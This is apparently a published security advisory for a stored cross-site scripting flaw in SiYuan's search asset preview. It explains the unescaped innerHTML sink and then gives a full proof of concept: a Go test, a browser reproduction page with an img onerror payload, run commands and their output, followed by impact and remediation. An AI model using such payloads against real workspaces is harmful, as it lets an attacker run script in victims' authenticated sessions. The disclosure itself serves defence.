Skip to content

Stored XSS in Search Asset Preview via Unescaped Indexed Asset Content

Critical
88250 published GHSA-64gp-333q-mq6j Aug 26, 2026

Package

siyuan (SiYuan)

Affected versions

<= 3.8.1

Patched versions

v3.8.2

Description

Summary

SiYuan inserts indexed asset content into the authenticated DOM using innerHTML without HTML escaping or sanitization. A crafted text asset is preserved by the backend and returned by /api/search/getAssetContent; the Search -> Assets preview then executes its HTML in the SiYuan origin. This is distinct from the previously reported attribute-view asset-cell and arbitrary-file asset findings.

Details

The route is registered at kernel/api/router.go:240:

authorization route:

ginServer.Handle("POST", "/api/search/getAssetContent", model.CheckAuth, getAssetContent)

The handler is kernel/api/search.go:69-94. The frontend sink is app/src/search/assets.ts:230-233:

export const renderPreview = (element: Element, id: string, query: string, queryMethod: number) => {
    fetchPost("/api/search/getAssetContent", {id, query, queryMethod}, (response) => {
        element.innerHTML = '<p style="white-space: pre-wrap;">' + response.data.assetContent.content + '</p>';

The text parser in kernel/model/asset_content.go:50-110 copies UTF-8 asset bytes into the returned content without HTML escaping.

Complete PoC

Tested against commit afa823b. The complete backend test file kernel/model/asset_preview_xss_poc_test.go is:

package model

import (
    "fmt"
    "os"
    "path/filepath"
    "testing"

    "github.com/siyuan-note/siyuan/kernel/util"
)

func TestAssetPreviewPoCPreservesAttackerControlledMarkup(t *testing.T) {
    oldTempDir := util.TempDir
    util.TempDir = t.TempDir()
    t.Cleanup(func() { util.TempDir = oldTempDir })

    assetPath := filepath.Join(t.TempDir(), "researcher-controlled.txt")
    payload := `<img src="missing-asset-preview-canary" onerror="document.body.dataset.assetPreviewXss='ASSET_PREVIEW_XSS_CANARY'">`
    if err := os.WriteFile(assetPath, []byte(payload), 0600); err != nil {
        t.Fatal(err)
    }

    parsed := (&TxtAssetParser{}).Parse(assetPath)
    if parsed == nil {
        t.Fatal("text asset was not parsed")
    }
    fmt.Printf("PARSED_ASSET_CONTENT=%s\\n", parsed.Content)
    if parsed.Content != payload {
        t.Fatalf("parser changed payload: %q", parsed.Content)
    }
}

Run:

cd /home/ubuntu/siyuan-security-audit/deepdive-source/kernel
gofmt -w model/asset_preview_xss_poc_test.go
go test ./model -run TestAssetPreviewPoCPreservesAttackerControlledMarkup -count=1 -v

Observed output:

=== RUN   TestAssetPreviewPoCPreservesAttackerControlledMarkup
PARSED_ASSET_CONTENT=<img src="missing-asset-preview-canary" onerror="document.body.dataset.assetPreviewXss='ASSET_PREVIEW_XSS_CANARY'">
--- PASS: TestAssetPreviewPoCPreservesAttackerControlledMarkup (0.00s)
PASS
ok  github.com/siyuan-note/siyuan/kernel/model 0.048s

The complete browser reproduction asset_preview_xss_repro.html is:

<!doctype html>
<meta charset="utf-8">
<title>SiYuan asset preview PoC</title>
<div id="searchAssetPreview"></div>
<script>
  const response = {data: {assetContent: {content: '<img src="missing-asset-preview-canary" onerror="document.body.dataset.assetPreviewXss=\\'ASSET_PREVIEW_XSS_CANARY\\'">'}}};
  const element = document.querySelector('#searchAssetPreview');
  element.innerHTML = '<p style="white-space: pre-wrap;">' + response.data.assetContent.content + '</p>';
  setTimeout(() => {
    const result = document.createElement('pre');
    result.id = 'poc-result';
    result.textContent = document.body.dataset.assetPreviewXss || 'NOT_EXECUTED';
    document.body.appendChild(result);
  }, 100);
</script>

Run:

chromium --headless --no-sandbox --disable-gpu --disable-software-rasterizer \\
  --virtual-time-budget=1000 --dump-dom \\
  file:///home/ubuntu/siyuan-security-audit/runtime/asset_preview_xss_repro.html \\
  | grep -E 'poc-result|ASSET_PREVIEW_XSS_CANARY|NOT_EXECUTED'

Observed output:

</head><body data-asset-preview-xss="ASSET_PREVIEW_XSS_CANARY"><div id="searchAssetPreview"><p style="white-space: pre-wrap;"><img src="missing-asset-preview-canary" onerror="document.body.dataset.assetPreviewXss='ASSET_PREVIEW_XSS_CANARY'"></p></div>
<pre id="poc-result">ASSET_PREVIEW_XSS_CANARY</pre></body></html>

The canary proves event-handler execution after the unescaped asset string is assigned to innerHTML.

Impact

An actor who can place a crafted text asset in a victim's shared, synchronized, or imported workspace can execute JavaScript when the victim previews it. The payload runs in the SiYuan origin and can issue authenticated same-origin API requests, alter workspace content, and target privileged UI actions. In the desktop client, this crosses into the SiYuan renderer.

Remediation

Use textContent or HTML-escape AssetContent.Content. If highlighting is required, use a strict allowlist sanitizer that rejects event attributes, active elements, executable URL schemes, and namespace-based bypasses. Add regression tests for script, event-handler, SVG/MathML, malformed-tag, and encoded payloads.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Credits